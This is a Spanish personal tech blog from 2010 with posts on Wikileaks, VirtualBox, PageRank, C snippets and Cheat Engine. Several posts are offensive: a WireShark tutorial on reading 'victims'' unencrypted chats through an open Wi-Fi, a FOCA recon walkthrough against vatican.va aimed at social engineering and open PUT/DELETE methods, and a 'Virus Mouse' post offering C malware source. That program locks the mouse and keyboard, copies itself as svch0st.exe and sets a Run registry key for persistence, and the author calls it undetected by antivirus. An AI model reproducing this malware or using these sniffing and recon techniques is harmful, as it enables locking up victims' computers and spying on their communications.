RSS FEED

11 dic 2010

Wikileaks Support




Muchos ya sabreís que esta pasando con esta página y lo que ello conlleva. Pero todo esto comenzó hace meses, en verano ya empezabamos a escuchar las noticias de que una Wiki había mandado documentos sobre Afganistán a algunos periódicos. Se revolucionaron las cosas porque siguieron saliendo a la luz videos de asesinatos por parte de los soldados estadounidenses, documentos privados sobre la guerra de Iraq, y muchas más filtraciones que han hecho que haya sido la mayor filtración de documentos secretos toda la historia. Un ejemplo es el video que podeis ver en Youtube donde un helicóptero Apache pilotado por soldados estadounidenses, masacra a una docena de civiles y termina con la vida de otro tanto cuando acuden a por los cadáveres y heridos en una furgoneta. Video Collateral Murder (para empezar a ver el ataque minuto 3:01)

Después de estas filtraciones comenzaron a ocurrir las cosas que todos se esperaban, su sitio web fue colapsado por ataques de según se dice vienen de EEUU, Paypal cerró la cuenta que mantenía con WikiLeaks, MasterCard no permitió transacciones y anuló la cuenta que tenía WikiLeaks. Y respecto al sitio web, después del ataque DDOS por parte de unos botnets provenientes de EEUU, se alojaron en Amazon, hasta que por la presión Amazon les negó el servicio. A partir de ahí crearon cientos de webs, clonaron la página y así se sigue manteniendo hasta día de hoy.

Por si fuera poco, Julian Assange, la supuesta cabeza visible de todo este asunto esta buscado por la Interpol por supuestamente, haber violado y maltratado a dos mujeres, cosa que nunca se ha demostrado y que puede ser un simple cebo para tener al "jefe" de Wikileaks apresado.
Hace 4 días, el 7 de diciembre de 2010, se presentó en una comisario británica y fue apresado, y espera la extradición a Suecia donde tiene esas dos órdenes de arresto.
Antes de ser arrestado Julian subió un archivo de 1,4 GB llamado insurance.aes256 y que según otras fuentes, si le ocurriera algo grave a Julian o a Wikileaks, la clave se divulgaría y el documento se abriría.

También somos conocedores que existen millones de apoyos a la web, pero el que más repercusión está teniendo actualmente es el grupo de hackers llamados Anonymous los cuales están realizando ataques DDOS a las webs que les han denegado el servicio a Wikileaks, como lo son Mastercard, Amazon, etc..
Este grupo planea hacer lo mismo con la Interpol en caso de que ocurriera algo grave con su fundador.
Facebook y Twitter cerraron sus respectivas cuentas al grupo de hackers, que siguen con la operación llamada Payback, pero no es la única que existe.


¿Qué podemos hacer nosotros por Wikileaks?

1º Donar dinero: http://wikileaks.ch/support.html

2º Crear un clon de Wikileaks en nuestro servidor: http://wikileaks.ch/mirrors.html

3º Apoyar sus ideales por Internet.

Bueno espero que hayais comprendido la situación que está atravesando la web, y el cambio global que está produciendo, esto no es todo lo que ha pasado pero si un resumen, si de verdad os interesa esta historia, Internet está a vuestra disposición para que halleis toda la verdad.

5 dic 2010

VirtualBox: Instalación, configuración y uso.

VirtualBox
VirtualBox, es una poderosa aplicación de virtualización, de uso particular. Es una aplicación, Open Source, bajo los términos de GPL.
VirtualBox corre bajo muchos sistemas operativos, como casi todas las versiones de Microsoft Windows, muchas distribuciones de GNU/Linux(Kubuntu, Debian, OpenSuse...), Macintosh y OpenSolaris.

Dentro de esta misma herramienta podemos correr sistemas como Windows, GNU/Linux, Solaris/OpenSolaris, OpenBSD, Macintosh...

Empecemos con la instalación:

Desde Windows: VirtualBox 3-2.Windows
Desde GNU/Linux: VirtualBox 3-2. GNU/Linux (En esta página elegiremos el método que usaremos para instalarlo)
 Os muestro uno de los métodos posibles:

Cuando ya esté instalado pasamos a ejecutarlo.
 
Como yo ya instalé algun que otro sistema operativo, salen hay el nombre, el estado, el tipo de Sistema , y otras especificaciones.

Ahora vamos a seguir los pasos para instalar una nueva máquina:




Ponemos el nombre que queramos y el sistema operativo que tenemos pensado instarle.
Otro paso importante es usar un disco duro virtual, si no tenemos tendremos que crearnos uno desde 0, es una tarea sencilla y muy guiada.
Y ya tendremos nuestra máquina  a punto para instarla, ahora vamos a ver que utilidades tenemos:
General: Podemos configurar el nombre, el tipo de SO, la memoria que vamos a emplear,etc.
Discos duros: Podemos elegir el Disco Duro Virtual que ya creamos anteriormente.
CD/DVD-ROM: Elegimos la  unidad de nuestro equipo físico que corresponde con el CD/DVD-ROM.
Disquet: Exactamente, escojemos la unidad de nuestro equipo físico, que corresponde con la unidad de 3 ½.

Audio y Red: Configuramos la tarjeta de red y audio para que funcione con nuestra máquina virtual.
Puertos Seriales: Con esta opción podemos activar algunos puertos para que interaccionen con la máquina virtual.
Directorios compartidos: Requiere virtualbox guest additions. Sirve para poder conectar directorios físicos con los directorios virtuales y poder así compartir ficheros e información.

Y por último os enseñaré un Sistema Operativo corriendo bajo VirtualBox, en mi caso he usado Microsoft Windows XP en Kubuntu, bajo VirtualBox:



Espero que os haya gustado este pequeño tutorial de VirtualBox y os animeis a probar los sistemas operativos.

21 nov 2010

WireShark: Tutorial básico


WireShark (antes Ethereal) es un programa que analiza el tráfico de nuestra red, se usa para realizar análisis y solucionar problemas en redes de comunicaciones. Este programa se parece a tcpdump, el cual analiza y monitorea todo el tráfico en una red determinada, las diferencias son que este no está disponible en Windows, y que usa libpcap.
Nuestro programa, WireShark, en cambio, usa la libreria winpcap que se habrá de instalar junto al programa. Esta librería es la que se encarga de capturar los paquetes. He de añadir que WireShark es multi-plataforma, teniendo en cuenta que para cada tipo de plataforma hemos de usar una libreria diferente, en Windows(winpcap) y en GNU/Linux (libpcap); pero bueno a nosotros eso no nos importa.

WireShark, también se puede usar como sniffer.

Lo primero de todo es bajarnos el programa de la web oficial:

Wireshark 1.4.2 - 32 bits


Bien seguimos los pasos de instalación normales en Windows, y recordamos instalar WinPcap

Bueno es un tutorial básico os mostraré que podemos hacer para empezar a familiarizarnos con la interfaz y sus utilidades.

Lo abrimos y nos sale algo parecido a esto:


1: Nos permite ver en cada uno, los paquetes que esta recibiendo.
1.1: Si ya sabemos cual vamos a elegir, escogemos la interfaz que más paquetes reciba.
2: Son las opciones que podemos modificar luego iremos a este paso.
3: Es un filtro que nos servirá más adelante para poder hacer una selección de lo que queremos ver en pantalla, y no tener que ir buscandolo entre todo el tráfico.
4: Nos permite abrir unos paquetes ya analizados y guardados.
5: Un manual de la wiki oficial de WireShark en inglés.

Bueno esto no creo que haya sido muy esclarecedor pero a partir de ahora empezaré los ejemplos básicos de uso.


En mi caso la interfaz se llama Microsoft y tenía 700 paquetes capturados. Siguiente paso, apretar Start y comienza el juego ;)

A partir de aquí, vamos a hacernos la idea de que una de dos, hay alguien metido en nuestra red Wi-Fi sin contraseña, o que por algun casual estamos dentro de una red en la que hay más gente conectada. El primer caso lo podemos autoprovocar dejando nuestra red sin contraseña, con eso conseguiríamos atraer víctimas para conseguir saber que se están bajando, que están diciendo por el Messenger e incluso en que página se encuentran en ese mismo instante.

Yo ya he empezado mi captura y bueno he seleccionado que solo me filtre los paquetes que contengan la direccion del Tuenti para poder así analizar la posible conversación que pueda tener nuestra víctima si empiezan a aparecer paquetes es que está navegando por tuenti.


Bueno el 1 son las opciones, con las que puedes filtrar paquetes como solo filtrar paquetes TCP, UDP, etc.. si pones en Filter: http contains "http://www.tuenti.com" ya tienes tu analizador filtrando solo los paquetes del tuenti.

El 2 es para empezar una nueva captura.

Y el 3 para parar la actual, con opción a guardar todos los paquetes capturados.

Y buena "sorpresa" el chat del tuenti no está codificado así que os enseñaré como he podido sacar una porción de una conversación sin codificar.

Si eso es de una conversación por tuenti, eso lo estaba mandando yo como podeis observar. Eso es una ventaja de que no codifiquen el contenido por el chat, ahora vayamos a probarlo al Messenger, iniciamos sesión y empecemos a hablar con alguien.

Le he mandado a un contacto este mensaje: Prueba para Wireshark


Como veis arriba del todo he filtrado los paquetes con el protocolo MSNMS que son todos los relacionados con la mensajería de Windows Live Messenger, también están la dirección de correo del que envia el paquete y la dirección del que lo recibe. Aparte exceptuando la contraseña(que si que esta codificada) las conversaciones las podemos leer claramente, y poder espiar a nuestra víctima.

Espero que os haya dado una pequeña idea de lo que es WireShark, aunque el límite lo poneis vosotros.

12 nov 2010

FOCA 2.5 + Vatican.va

Hoy es el día de la FOCA, muchos de nosotros adoramos esta herramienta pues hace todos esos pasos de pentesting en un solo click.


Sí, teme la FOCA.

¿Qué es la FOCA?

FOCA es una herramienta para encontrar Metadatos e información oculta en documentos de Microsoft Office, Open Office y documentos PDF/PS/EPS, extraer todos los datos de ellos exprimiendo los ficheros al máximo y una vez extraídos cruzar toda esta información para obtener datos relevantes de una empresa.


¿Qué podemos hacer con esta herramienta?

La FOCA hace Google y Bing Hacking para descubrir los archivos ofimáticos que tiene un dominio, los descarga masivamente, les extrae los metadatos, organiza los datos y nos muestra la siguiente información:

* Nombres de usuarios del sistema
* Rutas de archivos
* Versión del Software utilizado
* Correos electrónicos encontrados
* Fechas de Creación, Modificación e Impresión de los documentos.
* Sistema operativo desde donde crearon el documento
* Nombre de las impresoras utilizadas
* Permite descubrir subdominios y mapear la red de la organización
* Nombres e IPs descubiertos en Metadatos
* Búsqueda de nombres de dominio en Web: Google o Bing [Interfaz web o API]
* Búsqueda de nombres comunes en servidor DNS
* Búsqueda de IPs con resolución DNS
* Transferencia de Zonas

Bueno ya sabemos más o menos que podemos hacer con esta pequeña aplicación creada en .NET para Windows (y GNU/Linux con WINE); pero quizás no todos vean realmente que podemos sacar de esta herramienta, os haré un pequeño ejemplo de su uso con una web conocida: vatican.va

Bien lo primero abrimos FOCA y le damos a File > New Project

Le pones el nombre que desees y en Domain Website pones el dominio que prefieras en mi caso: vatican.va.


Accedemos al Panel de búsqueda a la derecha verás un botón que será EL botón con el cual podemos reunir todos los pasos que debiamos hacer para conseguir algo en un solo click, sin enrollarme le damos a Search All.

Y tendremos toda la lista de archivos ofimáticos, huellas y metadatos que podremos utilizar a nuestro favor en un posible ataque.


Como podeis comprobar en mi imagen yo solo me he descargado 60 documentos, aunque se han analizado 1234 documentos con datos que no han sabido borrar.

Bien, es hora de empezar a mostraros que puede hacer FOCA por nosotros.



Se observa en la imagen que he conseguido 21 usuarios, para que me sirve esto, pues es sencillo para realizar ataques de Ingeniera Social, sabiendo el nombre y un par de datos más podemos engañar una mediana empresa con mala seguridad.

Ahora vamos a sacar algo mucho más importante como pueden ser las rutas internas.
Que como vamos a observar en la siguiente toma de pantalla, son las rutas donde se ubican los documentos descargados del dominio analizado.
Tenemos hasta un español, sino observad el circulo rojo y fijaos que la ruta está en Español.





Vamos a ponernos serios y empezar a ver realmente que podemos conseguir con FOCA nos vamos de los archivos METADATA a Network Data.

Ahí tendremos todos los servidores, con lo que podremos hallar el servidor web HTTP que use, el SO que usa, Ips, dominios, etc..

Pero yo me voy a centrar en algo mucho mejor. Primero de todo si ya estamos en Network Data, vamos a Domains. Ahí encontraremos el dominio que hemos estado analizando todo este rato y los dominios relacionados (estos son muy interesantes y son una gran fuente para los ataques de Ingeniería Social).

Y dentro todos sus subdominios cogemos uno donde hallamos encontrado muchos documentos, en mi caso me voy a asv.vatican.va(que irónicamente son los Archivos Secretos del Vaticano) y apretamos Search Open Folders y Search Methods.

Nos vamos a la pestaña Methods on Folders en caso de que haya encontrado y debemos buscar, el método PUT y DELETE es lo que nos permitirá jugar un rato.

Os enseño como se puede llegar hasta ahí.


Creo que por hoy es más que suficiente...tenemos solo 58 documentos y mirad hasta donde hemos llegado..el límite lo poneis vosotros.
Esta herramienta da para muchísimo más, solo teneis que experimentar un poco para conocer todas las opciones que hay.

Y ya sabeís, no hagais nada de lo que podais arrepentiros.

DESCARGAR FOCA 2.5:

Descargar FOCA 2.5

8 nov 2010

Convierte tu ordenador en un televisor de alta definición


Cada vez es más frecuente el uso del ordenador (también tablets y teléfonos móviles) como televisor alternativo en el hogar e, incluso, como el principal. Y más con el aumento, en los últimos tiempos, del ancho de banda, que ha permitido la visualización de vídeo en alta definición.

Con la llegada de la TDT y el desarrollo de monitores de mayor tamaño también ha aumentado el consumo de televisión a través del ordenador.

Desde Consumer ven en el uso de los sintonizadores de TDT una de las opciones más sencillas para convertir el ordenador en un televisión. Existen varios modelos en el mercado, entre los que destacan:

* AVerTV Volar HD Pro: sintonizador de TDT en formato pincho USB compatible con Windows que, en cuestión de software, implementa aplicaciones que permiten grabar programas de TV en alta definición y convertirlos a diferentes formatos según el dispositivo donde vaya a ser reproducido. Su precio ronda los 39,90 euros. Más sencillo de manejar, y de la misma empresa, es AVer TV Plug&Watch, que incluye un sistema autoinstalable que no requiere de CD de ayuda. Está disponible para Windows 7 y Mac Os X 10.6 y cuesta alrededor de 59,90 euros.
* Eye TV DTT Deluxe: también compatible con Windows 7 y Mac Os X, es de tamaño aún más reducido y cuenta con un software (Eye TV para Mac; Terretec HomeCinema) que permite grabar y clasificar programas de televisión en el disco duro.
* PCTV w-lantv 50n es un kit que cuenta con un sintonizador y un punto de acceso que puede colocarse en el lugar de la casa que se prefiera, buscando una mejor cobertura TDT. Permite transmitir la señal de televisión digital a través de streaming a todos los ordenadores del hogar. Es uno de los más recomendados, pero también más caro. Su precio, 129,99 euros.

Pantallas adecuadas

Seleccionar un monitor adecuado también es importante a la hora de sacarle el máximo provecho a la visualización de televisión en el ordenador.

* Es aconsejable no bajar de las 20 pulgadas.
* Su resolución ha de ser no inferior a 1080P.

Otros requisitos, estos recomendables para sacar más provecho son:

* Disponer en el monitor de diferentes tipos de conectores como VGA, DVI y HDMI para su uso, no solo con ordenadores sino con periféricos como consolas de videojuegos.
* Altavoces integrados, barras de sonido, sonido estéreo...

Fuente: 20minutos.es

6 nov 2010

Algo sobre PageRank

Todos hemos visto alguna vez esta pequeña imagen en muchas webs esta imagen:


Pues bien muchos sabreís que siginifica y como funciona, si no lo sabeís seguid leyendo:

PageRank

PageRank (PR) es un valor numérico que representa la importancia que una página web tiene en Internet. Google se hace la idea de que cuando una página coloca un enlace (link) a otra, es de hecho un voto para esta última.

Cuantos más votos tenga una página, será considerada más importante por Google. Además, la importancia de la página que emite su voto también determina el peso de este voto. De esta manera, Google calcula la importancia de una página gracias a todos los votos que reciba, teniendo en cuenta también la importancia de cada página que emite el voto.

PageRank (desarrollado por los fundadores Larry Page y Sergey Brin) es la manera que tiene Google de decidir la importancia de una página. Es un dato valioso, porque es uno de los factores que determinan la posición que va a tener una página dentro de los resultados de la búsqueda. No es el único factor que Google utiliza para clasificar las páginas, pero sí es uno de los más importantes.

Hay que tener en cuenta que no todos los links son tenidos en cuenta por Google. Por ejemplo, Google filtra y descarta los enlaces de páginas dedicadas exclusivamente a colocar links (llamadas 'link farms').

Además, Google admite que una página no puede controlar los links que apuntan hacia ella, pero sí que puede controlar los enlaces que esta página coloca hacia otras páginas. Por ello, links hacia una página no pueden perjudicarla, pero sí que enlaces que una página coloque hacia sitios penalizados, pueden ser perjudiciales para su PageRank .

Si un sitio web tiene PR0, generalmente es una web penalizada, y podría ser poco inteligente colocar un link hacia ella.

El algoritmo de 'PageRank™ ' fue patentado en Estados Unidos el día 8 de enero de 1998, por Larry Page. El título original es 'Method for node ranking in a linked database', y le fue asignado el número de patente 6,285,999.

El algoritmo:



PR(A) Es el PageRank de A página.

La variable d dicen que puede ser 0,85 es la probabilidad de que un navegante continúe pulsando links al navegar por Internet en vez de escribir una url directamente en la barra de direcciones o pulsar uno de sus marcadores y es un valor establecido por Google.

PR(i) son los valores de PageRank que tienen cada una de las páginas i que enlazan a A.

C(i) es el número total de enlaces salientes de la página i (sean o no hacia A).

Esto es una pequeña introducción al pagerank, para aumentarlo hemos de evitar el spam, los pop-ups, y otras directrices que harán de nuestra web un sitio más visitado.

Fuentes:
http://es.wikipedia.org/wiki/PageRank
http://www.mipagerank.com/

Aumentar la velocidad de nuestra web

En este post voy a escribir sobre eso, la velocidad y fallos de nuestra web.

Pues es importante tener una web bien indexada, rápida y sin fallos.

Para ello solo vamos a necesitar un par de complementos, y nuestro navegador Mozilla Firefox.

Abrimos Firefox y entramos en la página de descargas de Add-on: https://addons.mozilla.org/es-ES/firefox/tag/download

Y nos bajamos Firebug y PageSpeed(Add-on de Google que se descarga del link que he dejado)

Instalamos ambos, reiniciamos Mozilla Firefox y cuando se abra nos vamos a Herramientas > Firebug > Abrir Firebug




Ahora tendremos abierto Firebug y debajo nuestra web, si hemos instalado también el complemento PageSpeed nos saldrá algo así:





Le damos a PageSpeed a Performance y a Analizar la web, nos pondrá la cantidad de errores, que tenemos y que hacen que la web vaya más lenta e impida la indexación.

Espero que les haya servido y puedan mejorar su web ;)

3 nov 2010

Broma-gh0st

Bueno no tengo un título mejor, con ver el code se ppuede hacer uno la idea de sobre que va el tema..el caso es que realmente si alguien lo ejecuta sin más y no sabe el nombre del ejecutable se puede llevar un pequeño susto.

#include 
 
#define ms 10
HWND hwnd;
CHAR szMessage[ms][512] = {"El ordenador esta cerrandose. Motivo desconocido..",
          "addcc %r3,%r5,%r3",
          ".........",
          "Error 0x004...",
          "no te gires...ahora...",
          "It's here...", //como me gusta destino final jaja.
          "ayuda por favor...",
          "...necesito ayuda...",
          "es la hora..",
          "........"};
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  hwnd=FindWindowA("ConsoleWindowClass",NULL);
  ShowWindow(hwnd, SW_HIDE);
 
 srand(GetTickCount()); //Otro modo de sacar numeros pseudo-aleatorios
 while(TRUE)
 {
  Sleep(8000);
  int azar = (rand() % ms);
  for(int a = 0; a < lstrlen(szMessage[azar]); a++)
  {
 
   keybd_event((UCHAR)VkKeyScan(szMessage[azar][a]), NULL, NULL, NULL);
   Sleep(rand() % 200); //Esto lo hace un poco más realista
  }
 }
 return 0;
}
 
Bueno este code lo hice en 5 minutos, despues de ver la peli Destino Final 2, se me ocurrio la idea de que seria un cague que el ordenador escribiera solo, seguro que algo parecido a esto ya existe, pero quizas no implementado de la misma manera. Bueno este es un code muy sencillo solo uso la cabecera windows.h, y bueno primero creo un array multidimensional donde estan los mensajes que se escribiran.. Bueno luego le puse el modo de Oculto para que no se viera una ventanita negra y sea muy sospechoso.
hwnd=FindWindowA("ConsoleWindowClass",NULL);
  ShowWindow(hwnd, SW_HIDE);
Luego esta srand....demasiado explicado, uso la función GetTickCount() +info Y luego ya viene la función, uso el while porque tenia pensado al principio, ponerle que si apretabas alguna tecla se cerraba, pero al final lo deje así. Cogemos un número al azar comprendido entre el 1 y el 11, y vamos imprimiendo caracteres.
Sleep(rand() % 200);

Esto lo hace aún más realista, pues hace como una pequeña pausa pseudo-aleatoria..

Saludos

Broma-BSOD

Pues estuve trabajando hace unas semanas antes de irme, en una especie de broma muy sencilla, que te saca la BSOD.

No tiene nada especial solo jugar un poco con Windows.

Aperitivo:


 



Comida:

#include <windows.h>


#define SCREEN(x) GetSystemMetrics(*x == 'X' ? SM_CXSCREEN : SM_CYSCREEN)
/*  Declare Windows procedure  */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);

/*  Make the class name into a global variable  */
char szClassName[ ] = "CodeBlocksWindowsApp";

const char * texto[] = {
     "-A problem has been detected and Windous has been shut down to prevent damage",
     "-to your computer.",
     "*The problem seems to have been caused by the following file: MSNMSGR.EXE",
     "*A_LOT_OF_PORN_PHOTOS",
     "*If this is the first time you've seen this Stop error screen,",
     "-restart your computer. If this screen appears again, follow",
     "-these steps:",
     "*Check to make sure any new porn video is not viewed.",
     "*If this is a new installation of YouPornDownloader, ask your friends if ",
     "-they have any problem with any PornDownloader",
     "*If problems continue, disable or remove any newly porn video",
     "-or software downloader. ",
     "*If you need to use Safe Mode to remove or disable components, restart",
     "-your computer, press F8 to select Advanced Startup Options, and then",
     "-select Safe Mode.",
     "*Technical Information:",
     "**** MSNMSGR.EXE - Address: pnf13@hotmail.com Author: P4|3L0 ***"
};

void dalealtextoLOL(HDC hDC){
    unsigned short na = 30;
     unsigned char bs = 0;

     while(bs <= 16){
             if(texto[bs][0] == '*') na += 23;
             TextOut(hDC,10,na+(bs*23),texto[bs]+1,lstrlen(texto[bs])-1);
             bs++;
     }
}

int WINAPI WinMain (HINSTANCE hThisInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR lpszArgument,
                     int nCmdShow)
{
    HWND hwnd;               /* This is the handle for our window */
    MSG messages;            /* Here messages to the application are saved */
    WNDCLASSEX wincl;        /* Data structure for the windowclass */

    /* The Window structure */
    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;      /* This function is called by windows */
    wincl.style = CS_DBLCLKS;                 /* Catch double-clicks */
    wincl.cbSize = sizeof (WNDCLASSEX);

    /* Use default icon and mouse-pointer */
    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;                 /* No menu */
    wincl.cbClsExtra = 0;                      /* No extra bytes after the window class */
    wincl.cbWndExtra = 0;                      /* structure or the window instance */
    /* Use Windows's default colour as the background of the window */
    wincl.hbrBackground = CreateSolidBrush(RGB(0,0,0x77));


    /* Register the window class, and if it fails quit the program */
    if (!RegisterClassEx (&wincl))
        return 0;

    /* The class is registered, let's create the program*/
    hwnd = CreateWindowEx (
           0,                   /* Extended possibilites for variation */
           szClassName,         /* Classname */
           "BSOD",       /* Title Text */
           WS_POPUP,
           0,
           0,      /* where the window ends up on the screen */
           SCREEN("X"),                 /* The programs width */
           SCREEN("Y"),                 /* and height in pixels */
           HWND_DESKTOP,        /* The window is a child-window to desktop */
           NULL,                /* No menu */
           hThisInstance,       /* Program Instance handler */
           NULL                 /* No Window Creation data */
           );

    /* Make the window visible on the screen */
    ShowWindow (hwnd, nCmdShow);

    /* Run the message loop. It will run until GetMessage() returns 0 */
    while (GetMessage (&messages, NULL, 0, 0))
    {
        /* Translate virtual-key messages into character messages */
        TranslateMessage(&messages);
        /* Send message to WindowProcedure */
        DispatchMessage(&messages);
    }

    /* The program return-value is 0 - The value that PostQuitMessage() gave */
    return messages.wParam;
}

HDC hDC;
PAINTSTRUCT ps;
HFONT hFont;
/*  This function is called by the Windows function DispatchMessage()  */

LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)                  /* handle the messages */
    {

        case WM_DESTROY:

            break;
          case WM_PAINT:
             hDC = BeginPaint(hwnd,&ps);

             hFont = CreateFont(
                   19, 12, 0, 0,FW_NORMAL, FALSE, FALSE, FALSE,
                   ANSI_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,
                   DEFAULT_QUALITY,DEFAULT_PITCH|FF_ROMAN,"Verdana"
             );

             SelectObject(hDC, hFont);
             SetTextColor(hDC,RGB(0xFF,0xFF,0xFF));
             SetBkColor(hDC,RGB(0,0,0x77));

             dalealtextoLOL(hDC);

             DeleteObject(hFont);

             EndPaint(hwnd, &ps);
             break;
        default:                      /* for messages that we don't deal with */
            return DefWindowProc (hwnd, message, wParam, lParam);
    }

    return 0;
}

Como se ve, aun hay cosas por defecto de codeblocks..porque solo he tocado algunas cosas, a partir de la GUI de windows que me daba code::blocks

31 oct 2010

Optimizar nuestro ordenador




Optimizar nuestro ordenador

Aumentar la velocidad y evitar los fallos es algo que nos preocupa a todos, con este artículo aumentarás la velocidad del ordenador y la de Internet. Desecha programas que te prometen el oro, pues existen pocos que de verdad te quitan todos los errores.

Para aumentar el rendimiento debemos borrar toda esa basura que se queda en el disco duro, para eso usaremos dos completísimos programas como lo son:


Revo Uninstaller y CCleaner

Con el programa Revo Uninstaller tenemos un todo en uno, tenemos la opción de Limpiar la basura, que son los archivos innecesarios para el sistema y que almacena constantemente; también es interesante la herramienta de Borrar rastros de trabajo, la cual nos permite limpiar todos esos archivos borrados que se borran de la papelera, pero se quedan físicamente en nuestro equipo, ralentizandolo.

Con CCleaner tiene otras opciones pero sigue la misma línea que Revo, tiene una herramienta muy potente que nos asegurará más velocidad en Internet y en el equipo pues puedes borrar todo lo relacionado con los navegadores cookies, cache, historiales, las últimas páginas visitadas, archivos temporales...y también toda la basura generada por Windows y otros programas muy usados.


Esto nos limpiará todo el ordenador ahora vamos a buscar el modo de mejorar la velocidad, para eso usaremos una herramienta conocida pero que no solemos usar como es el Desfragmentador de Disco,
para acceder a él, accedemos a Ejecutar > dfrgui.exe y Aceptar.
Uso: Analizar y desfragmentar
Con eso ya tendremos nuestro equipo sin basura y con el disco desfragmentado lo cual es mejor, pues se accede a los datos con mayor velocidad.
Existen opciones como comprar una memoria RAM, o usar un pendrive como RAM para aumentar la velocidad, pero eso ya es adicional.


Espero que con este sencillo artículo y un par de consejos veas mejorado tu rendimiento. También has de tener en cuenta los programas que usas, porque hay navegadores en los cuales Internet irá más rápido que por ejemplo en el navegador Internet Explorer.

Nota: No uses el ordenador mientras el desfragmentador está en uso, puedes dañar el sistema.

30 oct 2010

Elevar número en C/C++

Mucha gente siempre ha buscado o busca hacer esto, elevar un número a otro, y es algo muy sencillo y solo necesitamos la cabecera math.h

#include <stdio.h>
#include <math.h>

int main()
{
int num1;
printf("Bytes %i\n", sizeof(int) );
printf("Bits %i\n", sizeof(int)*8);
double x;
x=pow(2,sizeof(int)*8);
printf( "2 elevado a %i es %f\n",sizeof(int)*8, x);
}

La línea importante:

x=pow(2,sizeof(int)*8);

El primer número es la base y el segundo el exponente.

Virus Mouse

Bueno este es uno de mis códigos programados en C, con Windows API.

Bloquea el sistema, el ratón y el teclado, añado el programa al inicio desde el registro y todo esto sin ser detectado por ningún AntiVirus.

#include <windows.h>
#include <tlhelp32.h>
#include <winable.h>


#define BUFSIZE 80

int test_key(void);
int create_key(char *);



int main(void)
{
int test,create;
test=test_key();

if (test==2)
{
char *path="c:\\WINDOWS\\svch0st.exe";
create=create_key(path);

}

HWND inv;
AllocConsole();
inv=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(inv,0);
int c;

for(;;)
{
BlockInput(true);
}
char root[60]="C:\\Windows\\";
char nombre[60]="svch0st";
char path[256]="svch0st";
strcat(nombre,".exe");
strcat(root,nombre);
HMODULE copiar = GetModuleHandle(0);
GetModuleFileName(copiar, path, 256);
CopyFile(path,root,false);
}

int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;

reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}

reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);

if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;

RegCloseKey(hKey);
return check;
}

int create_key(char *path)
{
int reg_key,check;

HKEY hkey;

reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;

return check;

}

Emulación getch

Muchas veces os habrán dicho que eviteis getch por no usar conio que es una libreria anticuada y obsoleta que no todos los compiladores la tienen por defecto, puedes usar getchar() que es una función estándar que consigue un caracter desde stdin.

Y getch es una función, como ya he dicho, no-estandar que consigue un caracter por el teclado y sin hacer eco en pantalla.

Con esta simple función podreis usar getch sin necesidad de usar conio.

#include <windows.h>

int getch(void)
{
int car;
DWORD leidos, modo;

GetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), &modo);
SetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), modo & !ENABLE_ECHO_INPUT & !ENABLE_PROCESSED_INPUT);
ReadConsole(GetStdHandle(STD_INPUT_HANDLE), &car, 1, &leidos, NULL);
SetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), modo);
return 0;
}

29 oct 2010

Cheat Engine 5.5 + Tutorial de Uso

Bueno pues muchos ya conocereis para que sirve, pero no habeis profundizado nunca mucho más, lo primero, os pongo el link de descarga(Limpio de virus e infecciones):

Cheat Engine 5.6

Bueno el primer nivel no lo explicaré mucho pues se supone que casi todos sabemos hacerlo, y el segundo casi que también, pero bueno vamos a explicar este 2º:

Nos da una barra de progreso(0-500), Scan Type: Value between

y ponemos 400 y 500 le damos a First scan y luego en el tutorial le damos a Hit, para que pierda puntos, luego cambiemos el tipo de escaneo a Decreased Value, nos quedará el valor disminuido modificamos a 5000 y pasamos.


3er nivel, simple y rápido dos valores que tenemos que poner a 5000, cogemos y escaneamos primero el float, introducimos 100 y el Value Type: Float
Escaneamos y apretamos Hit me y así perderemos puntos buscamos el valor que ha quedado y lo copiamos a la lista con la flechita roja, lo modificamos hasta 9999 por ejemplo y listo.
Pero nos queda modificar también el segundo valor, pero en este caso el valor es un Double, repetimos los pasos, escanear, apretar a Hit me, copiar el valor y modificarlo a más de 5000 se activará el botón Next y seguimos.

4º nivel, tenemos un botón para cambiar un valor y el valor justo encima, empezamos con un nuevo escaneo a el valor que tengamos , y conseguimos el valor lo copiamos a la lista como todas las veces anteriores, ya copiado click derecho y "Find out what writes this access", le damos a Yes y cuando salga el formulario en blanco le damos a cambiar valor, nos aparecerá la función que está relacionada con esa dirección, que es una línea en ensamblador, le damos a Replace y lo borramos todo, apretamos Stop y luego Close y modificamos en el tutorial el valor y pasamos al siguiente nivel

5ª prueba...

de momento la dejo en el aire, modificare esto cuando vuelva ;)

Un saludo,

23 oct 2010

Razones que intimidan a los nuevos usuarios de GNU/Linux



Todos los que tenemos ahora en nuestros ordenadores una distribución de GNU/Linux, hemos pasado por la etapa de Windows, en la cual pensar en cambiarnos a GNU/Linux nos daba como miedo, este artículo esta pensado para todas esas personas.

Empecemos.

El primer miedo pienso yo es la partición de nuestro Disco duro, muchos buscan herramientas, sin saber que con un LiveCD puedes hacerlo justo antes de instalar tu distribución, y sin ningún problema añadido.

